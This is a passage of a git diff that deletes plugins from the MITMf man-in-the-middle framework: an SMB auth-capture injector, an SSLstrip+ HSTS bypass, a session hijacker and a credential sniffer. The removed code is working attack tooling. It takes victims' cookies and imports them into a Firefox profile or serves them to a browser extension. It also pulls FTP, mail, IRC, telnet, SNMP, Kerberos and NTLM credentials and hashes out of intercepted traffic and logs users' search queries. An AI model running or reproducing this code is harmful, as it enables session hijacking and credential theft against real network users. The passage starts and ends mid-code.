ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -from plugins.plugin import Plugin -from plugins.Inject import Inject -import sys -import logging - -class SMBAuth(Inject, Plugin): - name = "SMBAuth" - optname = "smbauth" - desc = "Evoke SMB challenge-response auth attempts" - depends = ["Inject"] - version = "0.1" - has_opts = True - - def initialize(self, options): - Inject.initialize(self, options) - self.target_ip = options.host - - if not self.target_ip: - self.target_ip = options.ip_address - - self.html_payload = self._get_data() - - def add_options(self, options): - options.add_argument("--host", type=str, default=None, help="The ip address of your capture server [default: interface IP]") - - def _get_data(self): - return ''\ - ''\ - '' % tuple([self.target_ip]*3) diff --git a/plugins/SSLstrip+.py b/plugins/SSLstrip+.py deleted file mode 100644 index 282b909..0000000 --- a/plugins/SSLstrip+.py +++ /dev/null @@ -1,56 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -import sys -import logging - -from plugins.plugin import Plugin -from core.utils import IpTables -from core.sslstrip.URLMonitor import URLMonitor -from core.dnschef.dnschef import DNSChef - -class HSTSbypass(Plugin): - name = 'SSLstrip+' - optname = 'hsts' - desc = 'Enables SSLstrip+ for partial HSTS bypass' - version = "0.4" - tree_output = ["SSLstrip+ by Leonardo Nve running"] - has_opts = False - - def initialize(self, options): - self.options = options - self.manualiptables = options.manualiptables - - try: - hstsconfig = options.configfile['SSLstrip+'] - except Exception, e: - sys.exit("[-] Error parsing config for SSLstrip+: " + str(e)) - - if not options.manualiptables: - if IpTables.getInstance().dns is False: - IpTables.getInstance().DNS(options.ip_address, options.configfile['MITMf']['DNS']['port']) - - URLMonitor.getInstance().setHstsBypass(hstsconfig) - DNSChef.getInstance().setHstsBypass(hstsconfig) - - def finish(self): - if not self.manualiptables: - if IpTables.getInstance().dns is True: - IpTables.getInstance().Flush() \ No newline at end of file diff --git a/plugins/SessionHijacker.py b/plugins/SessionHijacker.py deleted file mode 100644 index ff9a3ec..0000000 --- a/plugins/SessionHijacker.py +++ /dev/null @@ -1,187 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -#Almost all of the Firefox related code was stolen from Firelamb https://github.com/sensepost/mana/tree/master/firelamb - -from plugins.plugin import Plugin -from core.publicsuffix.publicsuffix import PublicSuffixList -from urlparse import urlparse -import threading -import os -import sys -import time -import logging -import sqlite3 -import json -import socket - -mitmf_logger = logging.getLogger('mitmf') - -class SessionHijacker(Plugin): - name = "Session Hijacker" - optname = "hijack" - desc = "Performs session hijacking attacks against clients" - implements = ["cleanHeaders"] #["handleHeader"] - version = "0.1" - has_opts = True - - def initialize(self, options): - '''Called if plugin is enabled, passed the options namespace''' - self.options = options - self.psl = PublicSuffixList() - self.firefox = options.firefox - self.mallory = options.mallory - self.save_dir = "./logs" - self.seen_hosts = {} - self.sql_conns = {} - self.sessions = [] - self.html_header="

Cookies sniffed for the following domains\n
\n
" - - #Recent versions of Firefox use "PRAGMA journal_mode=WAL" which requires - #SQLite version 3.7.0 or later. You won't be able to read the database files - #with SQLite version 3.6.23.1 or earlier. You'll get the "file is encrypted - #or is not a database" message. - - sqlv = sqlite3.sqlite_version.split('.') - if (sqlv[0] <3 or sqlv[1] < 7): - sys.exit("[-] sqlite3 version 3.7 or greater required") - - if not os.path.exists("./logs"): - os.makedirs("./logs") - - if self.mallory: - t = threading.Thread(name='mallory_server', target=self.mallory_server, args=()) - t.setDaemon(True) - t.start() - - def cleanHeaders(self, request): # Client => Server - headers = request.getAllHeaders().copy() - client_ip = request.getClientIP() - - if 'cookie' in headers: - - if self.firefox: - url = "http://" + headers['host'] + request.getPathFromUri() - for cookie in headers['cookie'].split(';'): - eq = cookie.find("=") - cname = str(cookie)[0:eq].strip() - cvalue = str(cookie)[eq+1:].strip() - self.firefoxdb(headers['host'], cname, cvalue, url, client_ip) - - mitmf_logger.info("%s << Inserted cookie into firefox db" % client_ip) - - if self.mallory: - if len(self.sessions) > 0: - temp = [] - for session in self.sessions: - temp.append(session[0]) - if headers['host'] not in temp: - self.sessions.append((headers['host'], headers['cookie'])) - mitmf_logger.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])) - mitmf_logger.info("%s Sent cookie to browser extension" % client_ip) - else: - self.sessions.append((headers['host'], headers['cookie'])) - mitmf_logger.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie'])) - mitmf_logger.info("%s Sent cookie to browser extension" % client_ip) - - #def handleHeader(self, request, key, value): # Server => Client - # if 'set-cookie' in request.client.headers: - # cookie = request.client.headers['set-cookie'] - # #host = request.client.headers['host'] #wtf???? - # message = "%s Got server cookie: %s" % (request.client.getClientIP(), cookie) - # if self.urlMonitor.isClientLogging() is True: - # self.urlMonitor.writeClientLog(request.client, request.client.headers, message) - # else: - # mitmf_logger.info(message) - - def mallory_server(self): - host = '' - port = 20666 - server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) - server.bind((host,port)) - server.listen(1) - while True: - client, addr = server.accept() - if addr[0] != "127.0.0.1": - client.send("Hacked By China!") - client.close() - continue - request = client.recv(8192) - request = request.split('\n') - path = request[0].split()[1] - client.send("HTTP/1.0 200 OK\r\n") - client.send("Content-Type: text/html\r\n\r\n") - if path == "/": - client.send(json.dumps(self.sessions)) - client.close() - - def firefoxdb(self, host, cookie_name, cookie_value, url, ip): - - session_dir=self.save_dir + "/" + ip - cookie_file=session_dir +'/cookies.sqlite' - cookie_file_exists = os.path.exists(cookie_file) - - if (ip not in (self.sql_conns and os.listdir("./logs"))): - - try: - if not os.path.exists(session_dir): - os.makedirs(session_dir) - - db = sqlite3.connect(cookie_file, isolation_level=None) - self.sql_conns[ip] = db.cursor() - - if not cookie_file_exists: - self.sql_conns[ip].execute("CREATE TABLE moz_cookies (id INTEGER PRIMARY KEY, baseDomain TEXT, name TEXT, value TEXT, host TEXT, path TEXT, expiry INTEGER, lastAccessed INTEGER, creationTime INTEGER, isSecure INTEGER, isHttpOnly INTEGER, CONSTRAINT moz_uniqueid UNIQUE (name, host, path))") - self.sql_conns[ip].execute("CREATE INDEX moz_basedomain ON moz_cookies (baseDomain)") - except Exception, e: - print str(e) - - scheme = urlparse(url).scheme - scheme = (urlparse(url).scheme) - basedomain = self.psl.get_public_suffix(host) - address = urlparse(url).hostname - short_url = scheme + "://"+ address - - log = open(session_dir + '/visited.html','a') - if (ip not in self.seen_hosts): - self.seen_hosts[ip] = {} - log.write(self.html_header) - - if (address not in self.seen_hosts[ip]): - self.seen_hosts[ip][address] = 1 - log.write("\n
\n%s" %(short_url, address)) - - log.close() - - if address == basedomain: - address = "." + address - - expire_date = 2000000000 #Year2033 - now = int(time.time()) - 600 - self.sql_conns[ip].execute('INSERT OR IGNORE INTO moz_cookies (baseDomain, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly) VALUES (?,?,?,?,?,?,?,?,?,?)', (basedomain,cookie_name,cookie_value,address,'/',expire_date,now,now,0,0)) - - def add_options(self, options): - options.add_argument('--firefox', dest='firefox', action='store_true', default=False, help='Create a firefox profile with captured cookies') - options.add_argument('--mallory', dest='mallory', action='store_true', default=False, help='Send cookies to the Mallory cookie injector browser extension') - - def finish(self): - if self.firefox: - print "\n[*] To load a session run: 'firefox -profile logs//visited.html'" \ No newline at end of file diff --git a/plugins/Sniffer.py b/plugins/Sniffer.py deleted file mode 100644 index ca0ba51..0000000 --- a/plugins/Sniffer.py +++ /dev/null @@ -1,815 +0,0 @@ -#!/usr/bin/env python2.7 - -# Copyright (c) 2014-2016 Marcello Salvati -# -# This program is free software; you can redistribute it and/or -# modify it under the terms of the GNU General Public License as -# published by the Free Software Foundation; either version 3 of the -# License, or (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, but -# WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU -# General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program; if not, write to the Free Software -# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 -# USA -# - -#This is a MITMf port of net-creds https://github.com/DanMcInerney/net-creds - -from plugins.plugin import Plugin -import logging -logging.getLogger("scapy.runtime").setLevel(logging.ERROR) -from scapy.all import * -from sys import exit -from collections import OrderedDict -from StringIO import StringIO -import binascii -import struct -import pcap -import base64 -import threading -import re -import os - -mitmf_logger = logging.getLogger('mitmf') - -class Sniffer(Plugin): - name = "Sniffer" - optname = "sniffer" - desc = "Sniffs for various protocol login and auth attempts" - tree_output = ["Net-Creds online"] - implements = ["sendRequest"] - version = "0.1" - has_opts = False - - def initialize(self, options): - self.options = options - self.interface = options.interface - #self.parse = options.parse - - #these field names were stolen from the etter.fields file (Ettercap Project) - self.http_userfields = ['log','login', 'wpname', 'ahd_username', 'unickname', 'nickname', 'user', 'user_name', - 'alias', 'pseudo', 'email', 'username', '_username', 'userid', 'form_loginname', 'loginname', - 'login_id', 'loginid', 'session_key', 'sessionkey', 'pop_login', 'uid', 'id', 'user_id', 'screename', - 'uname', 'ulogin', 'acctname', 'account', 'member', 'mailaddress', 'membername', 'login_username', - 'login_email', 'loginusername', 'loginemail', 'uin', 'sign-in'] - - self.http_passfields = ['ahd_password', 'pass', 'password', '_password', 'passwd', 'session_password', 'sessionpassword', - 'login_password', 'loginpassword', 'form_pw', 'pw', 'userpassword', 'pwd', 'upassword', 'login_password' - 'passwort', 'passwrd', 'wppassword', 'upasswd'] - - if os.geteuid() != 0: - sys.exit("[-] Sniffer plugin requires root privileges") - - n = NetCreds() - #if not self.parse: - t = threading.Thread(name="sniffer", target=n.start, args=(self.interface,)) - t.setDaemon(True) - t.start() - - #else: - # pcap = rdpcap(self.parse) - # for pkt in pcap: - # n.pkt_parser(pkt) - - #def add_options(self, options): - # options.add_argument('--parse', dest='parse', type=str, default=None, help='Parse pcap') - - def sendRequest(self, request): - #Capture google searches - if ('google' in request.headers['host']): - if ('search' in request.uri): - self.captureQueries('q', request) - - #Capture bing searches - if ('bing' in request.headers['host']): - if ('Suggestions' in request.uri): - self.captureQueries('qry', request) - - #Capture yahoo searches - if ('search.yahoo' in request.headers['host']): - if ('nresults' in request.uri): - self.captureQueries('command', request) - - self.captureURLCreds(request) - - def captureQueries(self, search_param, request): - try: - for param in request.uri.split('&'): - if param.split('=')[0] == search_param: - query = str(param.split('=')[1]) - if query: - mitmf_logger.info(request.clientInfo + "is querying %s for: %s" % (request.headers['host'], query)) - except Exception, e: - error = str(e) - mitmf_logger.warning(request.clientInfo + "Error parsing search query %s" % error) - - def captureURLCreds(self, request): - ''' - checks for creds passed via GET requests or just in the url - It's surprising to see how many people still do this (please stahp) - ''' - - url = request.uri - - username = None - password = None - for user in self.http_userfields: - #search = re.findall("("+ user +")=([^&|;]*)", request.uri, re.IGNORECASE) - search = re.search('(%s=[^&]+)' % user, url, re.IGNORECASE) - if search: - username = search.group() - - for passw in self.http_passfields: - #search = re.findall("(" + passw + ")=([^&|;]*)", request.uri, re.IGNORECASE) - search = re.search('(%s=[^&]+)' % passw, url, re.IGNORECASE) - if search: - password = search.group() - - if (username and password): - mitmf_logger.warning(request.clientInfo + "Possible Credentials (Method: %s, Host: %s):\n%s" % (request.command, request.headers['host'], url)) - -class NetCreds: - - def __init__(self): - self.pkt_frag_loads = OrderedDict() - self.challenge_acks = OrderedDict() - self.mail_auths = OrderedDict() - self.telnet_stream = OrderedDict() - - # Regexs - self.authenticate_re = '(www-|proxy-)?authenticate' - self.authorization_re = '(www-|proxy-)?authorization' - self.ftp_user_re = r'USER (.+)\r\n' - self.ftp_pw_re = r'PASS (.+)\r\n' - self.irc_user_re = r'NICK (.+?)((\r)?\n|\s)' - self.irc_pw_re = r'NS IDENTIFY (.+)' - self.mail_auth_re = '(\d+ )?(auth|authenticate) (login|plain)' - self.mail_auth_re1 = '(\d+ )?login ' - self.NTLMSSP2_re = 'NTLMSSP\x00\x02\x00\x00\x00.+' - self.NTLMSSP3_re = 'NTLMSSP\x00\x03\x00\x00\x00.+' - - def start(self, interface): - try: - sniff(iface=interface, prn=self.pkt_parser, store=0) - except Exception: - pass - - def frag_remover(self, ack, load): - ''' - Keep the FILO OrderedDict of frag loads from getting too large - 3 points of limit: - Number of ip_ports < 50 - Number of acks per ip:port < 25 - Number of chars in load < 5000 - ''' - - # Keep the number of IP:port mappings below 50 - # last=False pops the oldest item rather than the latest - while len(self.pkt_frag_loads) > 50: - self.pkt_frag_loads.popitem(last=False) - - # Loop through a deep copy dict but modify the original dict - copy_pkt_frag_loads = copy.deepcopy(self.pkt_frag_loads) - for ip_port in copy_pkt_frag_loads: - if len(copy_pkt_frag_loads[ip_port]) > 0: - # Keep 25 ack:load's per ip:port - while len(copy_pkt_frag_loads[ip_port]) > 25: - self.pkt_frag_loads[ip_port].popitem(last=False) - - # Recopy the new dict to prevent KeyErrors for modifying dict in loop - copy_pkt_frag_loads = copy.deepcopy(self.pkt_frag_loads) - for ip_port in copy_pkt_frag_loads: - # Keep the load less than 75,000 chars - for ack in copy_pkt_frag_loads[ip_port]: - # If load > 5000 chars, just keep the last 200 chars - if len(copy_pkt_frag_loads[ip_port][ack]) > 5000: - self.pkt_frag_loads[ip_port][ack] = self.pkt_frag_loads[ip_port][ack][-200:] - - def frag_joiner(self, ack, src_ip_port, load): - ''' - Keep a store of previous fragments in an OrderedDict named pkt_frag_loads - ''' - for ip_port in self.pkt_frag_loads: - if src_ip_port == ip_port: - if ack in self.pkt_frag_loads[src_ip_port]: - # Make pkt_frag_loads[src_ip_port][ack] = full load - old_load = self.pkt_frag_loads[src_ip_port][ack] - concat_load = old_load + load - return OrderedDict([(ack, concat_load)]) - - return OrderedDict([(ack, load)]) - - def pkt_parser(self, pkt): - ''' - Start parsing packets here - ''' - - if pkt.haslayer(Raw): - load = pkt[Raw].load - - # Get rid of Ethernet pkts with just a raw load cuz these are usually network controls like flow control - if pkt.haslayer(Ether) and pkt.haslayer(Raw) and not pkt.haslayer(IP) and not pkt.haslayer(IPv6): - return - - # UDP - if pkt.haslayer(UDP) and pkt.haslayer(IP) and pkt.haslayer(Raw): - - src_ip_port = str(pkt[IP].src) + ':' + str(pkt[UDP].sport) - dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[UDP].dport) - - # SNMP community strings - if pkt.haslayer(SNMP): - self.parse_snmp(src_ip_port, dst_ip_port, pkt[SNMP]) - return - - # Kerberos over UDP - decoded = self.Decode_Ip_Packet(str(pkt)[14:]) - kerb_hash = self.ParseMSKerbv5UDP(decoded['data'][8:]) - if kerb_hash: - self.printer(src_ip_port, dst_ip_port, kerb_hash) - - # TCP - elif pkt.haslayer(TCP) and pkt.haslayer(Raw): - - ack = str(pkt[TCP].ack) - seq = str(pkt[TCP].seq) - src_ip_port = str(pkt[IP].src) + ':' + str(pkt[TCP].sport) - dst_ip_port = str(pkt[IP].dst) + ':' + str(pkt[TCP].dport) - self.frag_remover(ack, load) - self.pkt_frag_loads[src_ip_port] = self.frag_joiner(ack, src_ip_port, load) - full_load = self.pkt_frag_loads[src_ip_port][ack] - - # Limit the packets we regex to increase efficiency - # 750 is a bit arbitrary but some SMTP auth success pkts - # are 500+ characters - if 0 < len(full_load) < 750: - - # FTP - ftp_creds = self.parse_ftp(full_load, dst_ip_port) - if len(ftp_creds) > 0: - for msg in ftp_creds: - self.printer(src_ip_port, dst_ip_port, msg) - return - - # Mail - mail_creds_found = self.mail_logins(full_load, src_ip_port, dst_ip_port, ack, seq) - - # IRC - irc_creds = self.irc_logins(full_load) - if irc_creds != None: - self.printer(src_ip_port, dst_ip_port, irc_creds) - return - - # Telnet - self.telnet_logins(src_ip_port, dst_ip_port, load, ack, seq) - #if telnet_creds != None: - # printer(src_ip_port, dst_ip_port, telnet_creds) - # return - - # HTTP and other protocols that run on TCP + a raw load - self.other_parser(src_ip_port, dst_ip_port, full_load, ack, seq, pkt) - - def telnet_logins(self, src_ip_port, dst_ip_port, load, ack, seq): - ''' - Catch telnet logins and passwords - ''' - - msg = None - - if src_ip_port in self.telnet_stream: - # Do a utf decode in case the client sends telnet options before their username - # No one would care to see that - try: - self.telnet_stream[src_ip_port] += load.decode('utf8') - except UnicodeDecodeError: - pass - - # \r or \r\n terminate commands in telnet if my pcaps are to be believed - if '\r' in self.telnet_stream[src_ip_port] or '\r\n' in self.telnet_stream[src_ip_port]: - telnet_split = self.telnet_stream[src_ip_port].split(' ', 1) - cred_type = telnet_split[0] - value = telnet_split[1].replace('\r\n', '').replace('\r', '') - # Create msg, the return variable - msg = 'Telnet %s: %s' % (cred_type, value) - del self.telnet_stream[src_ip_port] - self.printer(src_ip_port, dst_ip_port, msg) - - # This part relies on the telnet packet ending in - # "login:", "password:", or "username:" and being <750 chars - # Haven't seen any false+ but this is pretty general - # might catch some eventually - # maybe use dissector.py telnet lib? - if len(self.telnet_stream) > 100: - self.telnet_stream.popitem(last=False) - mod_load = load.lower().strip() - if mod_load.endswith('username:') or mod_load.endswith('login:'): - self.telnet_stream[dst_ip_port] = 'username ' - elif mod_load.endswith('password:'): - self.telnet_stream[dst_ip_port] = 'password ' - - def ParseMSKerbv5TCP(self, Data): - ''' - Taken from Pcredz because I didn't want to spend the time doing this myself - I should probably figure this out on my own but hey, time isn't free, why reinvent the wheel? - Maybe replace this eventually with the kerberos python lib - Parses Kerberosv5 hashes from packets - ''' - try: - MsgType = Data[21:22] - EncType = Data[43:44] - MessageType = Data[32:33] - except IndexError: - return - - if MsgType == "\x0a" and EncType == "\x17" and MessageType =="\x02": - if Data[49:53] == "\xa2\x36\x04\x34" or Data[49:53] == "\xa2\x35\x04\x33": - HashLen = struct.unpack(' 1: - lines = full_load.count('\r\n') - if lines > 1: - full_load = full_load.split('\r\n')[-2] # -1 is '' - return full_load - - def parse_ftp(self, full_load, dst_ip_port): - ''' - Parse out FTP creds - ''' - print_strs = [] - - # Sometimes FTP packets double up on the authentication lines - # We just want the lastest one. Ex: "USER danmcinerney\r\nUSER danmcinerney\r\n" - full_load = self.double_line_checker(full_load, 'USER') - - # FTP and POP potentially use idential client > server auth pkts - ftp_user = re.match(self.ftp_user_re, full_load) - ftp_pass = re.match(self.ftp_pw_re, full_load) - - if ftp_user: - msg1 = 'FTP User: %s' % ftp_user.group(1).strip() - print_strs.append(msg1) - if dst_ip_port[-3:] != ':21': - msg2 = 'Nonstandard FTP port, confirm the service that is running on it' - print_strs.append(msg2) - - elif ftp_pass: - msg1 = 'FTP Pass: %s' % ftp_pass.group(1).strip() - print_strs.append(msg1) - if dst_ip_port[-3:] != ':21': - msg2 = 'Nonstandard FTP port, confirm the service that is running on it' - print_strs.append(msg2) - - return print_strs - - def mail_decode(self, src_ip_port, dst_ip_port, mail_creds): - ''' - Decode base64 mail creds - ''' - try: - decoded = base64.b64decode(mail_creds).replace('\x00', ' ').decode('utf8') - decoded = decoded.replace('\x00', ' ') - except TypeError: - decoded = None - except UnicodeDecodeError as e: - decoded = None - - if decoded != None: - msg = 'Decoded: %s' % decoded - self.printer(src_ip_port, dst_ip_port, msg) - - def mail_logins(self, full_load, src_ip_port, dst_ip_port, ack, seq): - ''' - Catch IMAP, POP, and SMTP logins - ''' - # Handle the first packet of mail authentication - # if the creds aren't in the first packet, save it in mail_auths - - # mail_auths = 192.168.0.2 : [1st ack, 2nd ack...] - - found = False - - # Sometimes mail packets double up on the authentication lines - # We just want the lastest one. Ex: "1 auth plain\r\n2 auth plain\r\n" - full_load = self.double_line_checker(full_load, 'auth') - - # Client to server 2nd+ pkt - if src_ip_port in self.mail_auths: - if seq in self.mail_auths[src_ip_port][-1]: - stripped = full_load.strip('\r\n') - try: - decoded = base64.b64decode(stripped) - msg = 'Mail authentication: %s' % decoded - self.printer(src_ip_port, dst_ip_port, msg) - except TypeError: - pass - self.mail_auths[src_ip_port].append(ack) - - # Server responses to client - # seq always = last ack of tcp stream - elif dst_ip_port in self.mail_auths: - if seq in self.mail_auths[dst_ip_port][-1]: - # Look for any kind of auth failure or success - a_s = 'Authentication successful' - a_f = 'Authentication failed' - # SMTP auth was successful - if full_load.startswith('235') and 'auth' in full_load.lower(): - # Reversed the dst and src - self.printer(dst_ip_port, src_ip_port, a_s) - found = True - try: - del self.mail_auths[dst_ip_port] - except KeyError: - pass - # SMTP failed - elif full_load.startswith('535 '): - # Reversed the dst and src - self.printer(dst_ip_port, src_ip_port, a_f) - found = True - try: - del self.mail_auths[dst_ip_port] - except KeyError: - pass - # IMAP/POP/SMTP failed - elif ' fail' in full_load.lower(): - # Reversed the dst and src - self.printer(dst_ip_port, src_ip_port, a_f) - found = True - try: - del self.mail_auths[dst_ip_port] - except KeyError: - pass - # IMAP auth success - elif ' OK [' in full_load: - # Reversed the dst and src - self.printer(dst_ip_port, src_ip_port, a_s) - found = True - try: - del self.mail_auths[dst_ip_port] - except KeyError: - pass - - # Pkt was not an auth pass/fail so its just a normal server ack - # that it got the client's first auth pkt - else: - if len(self.mail_auths) > 100: - self.mail_auths.popitem(last=False) - self.mail_auths[dst_ip_port].append(ack) - - # Client to server but it's a new TCP seq - # This handles most POP/IMAP/SMTP logins but there's at least one edge case - else: - mail_auth_search = re.match(self.mail_auth_re, full_load, re.IGNORECASE) - if mail_auth_search != None: - auth_msg = full_load - # IMAP uses the number at the beginning - if mail_auth_search.group(1) != None: - auth_msg = auth_msg.split()[1:] - else: - auth_msg = auth_msg.split() - # Check if its a pkt like AUTH PLAIN dvcmQxIQ== - # rather than just an AUTH PLAIN - if len(auth_msg) > 2: - mail_creds = ' '.join(auth_msg[2:]) - msg = 'Mail authentication: %s' % mail_creds - self.printer(src_ip_port, dst_ip_port, msg) - - self.mail_decode(src_ip_port, dst_ip_port, mail_creds) - try: - del self.mail_auths[src_ip_port] - except KeyError: - pass - found = True - - # Mail auth regex was found and src_ip_port is not in mail_auths - # Pkt was just the initial auth cmd, next pkt from client will hold creds - if len(self.mail_auths) > 100: - self.mail_auths.popitem(last=False) - self.mail_auths[src_ip_port] = [ack] - - # At least 1 mail login style doesn't fit in the original regex: - # 1 login "username" "password" - # This also catches FTP authentication! - # 230 Login successful. - elif re.match(self.mail_auth_re1, full_load, re.IGNORECASE) != None: - - # FTP authentication failures trigger this - #if full_load.lower().startswith('530 login'): - # return - - auth_msg = full_load - auth_msg = auth_msg.split() - if 2 < len(auth_msg) < 5: - mail_creds = ' '.join(auth_msg[2:]) - msg = 'Authentication: %s' % mail_creds - self.printer(src_ip_port, dst_ip_port, msg) - self.mail_decode(src_ip_port, dst_ip_port, mail_creds) - found = True - - if found == True: - return True - - def irc_logins(self, full_load): - ''' - Find IRC logins - ''' - user_search = re.match(self.irc_user_re, full_load) - pass_search = re.match(self.irc_pw_re, full_load) - if user_search: - msg = 'IRC nick: %s' % user_search.group(1) - return msg - if pass_search: - msg = 'IRC pass: %s' % pass_search.group(1) - self.printer(src_ip_port, dst_ip_port, msg) - return pass_search - - def headers_to_dict(self, header_lines): - ''' - Convert the list of header lines into a dictionary - ''' - headers = {} - # Incomprehensible list comprehension flattens list of headers - # that are each split at ': ' - # http://stackoverflow.com/a/406296 - headers_list = [x for line in header_lines for x in line.split(': ', 1)] - headers_dict = dict(zip(headers_list[0::2], headers_list[1::2])) - # Make the header key (like "Content-Length") lowercase - for header in headers_dict: - headers[header.lower()] = headers_dict[header] - - return headers - - def parse_http_load(self, full_load, http_methods): - ''' - Split the raw load into list of headers and body string - ''' - try: - headers, body = full_load.split("\r\n\r\n", 1) - except ValueError: - headers = full_load - body = '' - header_lines = headers.split("\r\n") - - # Pkts may just contain hex data and no headers in which case we'll - # still want to parse them for usernames and password - http_line = self.get_http_line(header_lines, http_methods) - if not http_line: - headers = '' - body = full_load - - header_lines = [line for line in header_lines if line != http_line] - - return http_line, header_lines, body - - def get_http_line(self, header_lines, http_methods): - ''' - Get the header with the http command - ''' - for header in header_lines: - for method in http_methods: - # / is the only char I can think of that's in every http_line - # Shortest valid: "GET /", add check for "/"? - if header.startswith(method): - http_line = header - return http_line - - - def other_parser(self, src_ip_port, dst_ip_port, full_load, ack, seq, pkt): - - #For now we will parse the HTTP headers through scapy and not through Twisted - #This will have to get changed in the future, seems a bit redundent - http_methods = ['GET ', 'POST ', 'CONNECT ', 'TRACE ', 'TRACK ', 'PUT ', 'DELETE ', 'HEAD '] - http_line, header_lines, body = self.parse_http_load(full_load, http_methods) - headers = self.headers_to_dict(header_lines) - - # Kerberos over TCP - decoded = self.Decode_Ip_Packet(str(pkt)[14:]) - kerb_hash = self.ParseMSKerbv5TCP(decoded['data'][20:]) - if kerb_hash: - self.printer(src_ip_port, dst_ip_port, kerb_hash) - - # Non-NETNTLM NTLM hashes (MSSQL, DCE-RPC,SMBv1/2,LDAP, MSSQL) - NTLMSSP2 = re.search(self.NTLMSSP2_re, full_load, re.DOTALL) - NTLMSSP3 = re.search(self.NTLMSSP3_re, full_load, re.DOTALL) - if NTLMSSP2: - self.parse_ntlm_chal(NTLMSSP2.group(), ack) - if NTLMSSP3: - ntlm_resp_found = self.parse_ntlm_resp(NTLMSSP3.group(), seq) - if ntlm_resp_found != None: - self.printer(src_ip_port, dst_ip_port, ntlm_resp_found) - - # Look for authentication headers - if len(headers) == 0: - authenticate_header = None - authorization_header = None - for header in headers: - authenticate_header = re.match(self.authenticate_re, header) - authorization_header = re.match(self.authorization_re, header) - if authenticate_header or authorization_header: - break - - if authorization_header or authenticate_header: - # NETNTLM - netntlm_found = self.parse_netntlm(authenticate_header, authorization_header, headers, ack, seq) - if netntlm_found != None: - self.printer(src_ip_port, dst_ip_port, netntlm_found) - - def parse_netntlm(self, authenticate_header, authorization_header, headers, ack, seq): - ''' - Parse NTLM hashes out - ''' - # Type 2 challenge from server - if authenticate_header != None: - chal_header = authenticate_header.group() - self.parse_netntlm_chal(headers, chal_header, ack) - - # Type 3 response from client - elif authorization_header != None: - resp_header = authorization_header.group() - msg = self.parse_netntlm_resp_msg(headers, resp_header, seq) - if msg != None: - return msg - - def parse_snmp(self, src_ip_port, dst_ip_port, snmp_layer): - ''' - Parse out the SNMP version and community string - ''' - if type(snmp_layer.community.val) == str: - ver = snmp_layer.version.val - msg = 'SNMPv%d community string: %s' % (ver, snmp_layer.community.val) - self.printer(src_ip_port, dst_ip_port, msg) - return True - - def parse_netntlm_chal(self, headers, chal_header, ack): - ''' - Parse the netntlm server challenge - https://code.google.com/p/python-ntlm/source/browse/trunk/python26/ntlm/ntlm.py - ''' - header_val2 = headers[chal_header] - header_val2 = header_val2.split(' ', 1) - # The header value can either start with NTLM or Negotiate - if header_val2[0] == 'NTLM' or header_val2[0] == 'Negotiate': - msg2 = header_val2[1] - msg2 = base64.decodestring(msg2) - self.parse_ntlm_chal(ack, msg2) - - def parse_ntlm_chal(self, msg2, ack): - ''' - Parse server challenge - ''' - - Signature = msg2[0:8] - msg_type = struct.unpack(" 50: - self.challenge_acks.popitem(last=False) - self.challenge_acks[ack] = ServerChallenge - - def parse_netntlm_resp_msg(self, headers, resp_header, seq): - ''' - Parse the client response to the challenge - ''' - header_val3 = headers[resp_header] - header_val3 = header_val3.split(' ', 1) - - # The header value can either start with NTLM or Negotiate - if header_val3[0] == 'NTLM' or header_val3[0] == 'Negotiate': - msg3 = base64.decodestring(header_val3[1]) - return self.parse_ntlm_resp(msg3, seq) - - def parse_ntlm_resp(self, msg3, seq): - ''' - Parse the 3rd msg in NTLM handshake - Thanks to psychomario - ''' - - if seq in self.challenge_acks: - challenge = self.challenge_acks[seq] - else: - challenge = 'CHALLENGE NOT FOUND' - - if len(msg3) > 43: - # Thx to psychomario for below - lmlen, lmmax, lmoff, ntlen, ntmax, ntoff, domlen, dommax, domoff, userlen, usermax, useroff = struct.unpack("12xhhihhihhihhi", msg3[:44]) - lmhash = binascii.b2a_hex(msg3[lmoff:lmoff+lmlen]) - nthash = binascii.b2a_hex(msg3[ntoff:ntoff+ntlen]) - domain = msg3[domoff:domoff+domlen].replace("\0", "") - user = msg3[useroff:useroff+userlen].replace("\0", "") - # Original check by psychomario, might be incorrect? - #if lmhash != "0"*48: #NTLMv1 - if ntlen == 24: #NTLMv1 - msg = '%s %s' % ('NETNTLMv1:', user+"::"+domain+":"+lmhash+":"+nthash+":"+challenge) - return msg - elif ntlen > 60: #NTLMv2 - msg = '%s %s' % ('NETNTLMv2:', user+"::"+domain+":"+challenge+":"+nthash[:32]+":"+nthash[32:]) - return msg - - def printer(self, src_ip_port, 